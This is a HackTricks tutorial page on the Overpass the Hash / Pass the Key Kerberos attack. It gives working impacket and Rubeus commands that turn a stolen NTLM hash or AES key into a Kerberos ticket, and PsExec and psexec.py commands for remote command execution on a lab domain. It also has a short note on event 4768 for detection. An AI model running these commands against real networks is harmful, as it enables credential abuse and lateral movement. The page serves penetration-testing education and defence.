65 lines
4.4 KiB
Markdown
65 lines
4.4 KiB
Markdown
# Over Pass the Hash/Pass the Key
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Overpass The Hash/Pass The Key (PTK)
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This attack aims to **use the user NTLM hash or AES keys to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
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In order to perform this attack, the **NTLM hash (or password) of the target user account is needed**. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to **access** any service or machine **where the user account has permissions**.
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```
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python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
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export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
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python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
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```
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You can **specify** `-aesKey [AES key]` to specify to use **AES256**.\
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You can also use the ticket with other tools like: as smbexec.py or wmiexec.py
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Possible problems:
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* _PyAsn1Error(‘NamedTypes can cast only scalar values’,)_ : Resolved by updating impacket to the lastest version.
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* _KDC can’t found the name_ : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC.
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```
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.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
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.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
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```
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This kind of attack is similar to **Pass the Key**, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.
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{% hint style="warning" %}
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When a TGT is requested, event `4768: A Kerberos authentication ticket (TGT) was requested` is generated. You can see from the output above that the KeyType is **RC4-HMAC** (0x17), but the default type for Windows is now **AES256** (0x12).
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{% endhint %}
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```bash
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.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
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```
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## References
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* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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||
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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